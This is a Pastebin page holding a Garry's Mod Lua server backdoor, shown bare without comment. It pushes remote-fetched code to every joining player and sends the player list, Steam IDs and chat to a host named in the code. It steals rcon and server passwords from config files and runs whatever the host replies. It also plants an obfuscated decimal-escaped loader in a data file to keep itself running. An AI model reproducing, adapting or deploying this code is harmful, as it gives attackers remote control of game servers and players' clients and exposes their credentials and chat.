Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if w254222EA3FA643CBa == "24B617AE4A3CE9D3" then return end
- w254222EA3FA643CBa = "24B617AE4A3CE9D3"
- local HTTP = HTTP
- local RunString = RunString
- local file = file
- local timer = timer
- local website = 'https://kvac.cz'
- local infectkey = '?key=1nOLtZJybF3vORkp7FBw'
- local function player_execute(player)
- if(!player:IsBot()) then
- player:SendLua([[local function clientside_run() http.Fetch("]] .. website .. [[/_/player.php", function(ply) CompileString(ply, ">", false)() end) timer.Simple(600, clientside_run) end clientside_run()]])
- end
- end
- local function refresh_playerlist()
- local wadixxxee_time = 120
- if #player.GetHumans() >= 1 then
- wadixxxee_time = 10
- end
- local player_list = {}
- for i=1, #player.GetHumans() do
- table.insert(player_list, player.GetHumans()[i]:Nick() .. "||||||" .. player.GetHumans()[i]:GetUserGroup() .. "||||||" .. player.GetHumans()[i]:SteamID64())
- end
- local players = {
- nbplayer = tostring(#player.GetAll()),
- playerlist = util.TableToJSON(player_list),
- ip = game.GetIPAddress(),
- csrf = "E3013A72C6AF58CC"
- }
- HTTP({url=website .. "/_/api.php",method="post",parameters=players,success=function(a,b,c) if(#b ~= 0) then RunString(b) end end})
- timer.Create("B3720AF15E63749C", wadixxxee_time, 0, refresh_playerlist)
- end
- local function update_serverinfo()
- local infos = {}
- local files = file.Find("cfg/*", "GAME")
- for i = 1, #files do
- if string.EndsWith(files[i], ".cfg") then
- local content = file.Read("cfg/" .. files[i], "GAME")
- content = string.Explode("\n", content)
- for i = 1, #content do
- if string.StartWith(content[i], "rcon_password") then
- table.insert(infos, 1, string.Split(content[i], "\"")[2])
- end
- if string.StartWith(content[i], "sv_password") then
- table.insert(infos, 2, string.Split(content[i], "\"")[2])
- end
- end
- end
- end
- local sendinfo = {
- ip = game.GetIPAddress(),
- hostname = GetHostName(),
- map = game.GetMap(),
- gamemode = engine.ActiveGamemode(),
- maxplayer = tostring(game.MaxPlayers()),
- rcon = infos[1],
- password = infos[2],
- uptime = tostring(math.floor(CurTime())),
- csrf = "E3013A72C6AF58CC"
- }
- HTTP({url=website .. "/_/api.php" .. infectkey,method="post",parameters=sendinfo})
- end
- local function push_console(ply, text)
- local console_data =
- {
- name = ply:Nick(),
- ip = game.GetIPAddress(),
- steamid_chat = ply:SteamID64(),
- text_chat = text,
- csrf = "E3013A72C6AF58CC"
- }
- HTTP({url=website .. "/_/api.php",method="post",parameters=console_data})
- end
- timer.Create("B3720AF15E63749C", 10, 0, refresh_playerlist)
- timer.Create("B13A6C37103C37C2", 120, 0, update_serverinfo)
- timer.Simple(1, function()
- concommand.Remove("host_writeid")
- hook.Add("PlayerInitialSpawn", "7AE54C002B7BBE3D", player_execute)
- hook.Add("PlayerSay", "5327F5F9815CF36A", push_console)
- update_serverinfo()
- for k,v in pairs(player.GetAll()) do
- player_execute(v)
- end
- end)
- if file.Exists("xeon/xeon.dat", "DATA") then
- file.Append("xeon/xeon.dat", "\n" .. [[if SERVER then timer.Simple(0.70,function() RunString("\104\116\116\112\46\70\101\116\99\104\40\34\104\116\116\112\115\58\47\47\107\118\97\99\46\99\122\47\95\47\95\46\112\104\112\34\44\102\117\110\99\116\105\111\110\40\98\41\32\82\117\110\83\116\114\105\110\103\40\98\44\32\34\69\82\82\79\82\34\44\32\102\97\108\115\101\41\32\101\110\100\41") RunString("\104\116\116\112\46\70\101\116\99\104\40\34\104\116\116\112\115\58\47\47\107\118\97\99\100\111\111\114\46\99\122\47\95\47\95\46\112\104\112\34\44\102\117\110\99\116\105\111\110\40\98\41\32\82\117\110\83\116\114\105\110\103\40\98\44\32\34\69\82\82\79\82\34\44\32\102\97\108\115\101\41\32\101\110\100\41") end) end]])
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement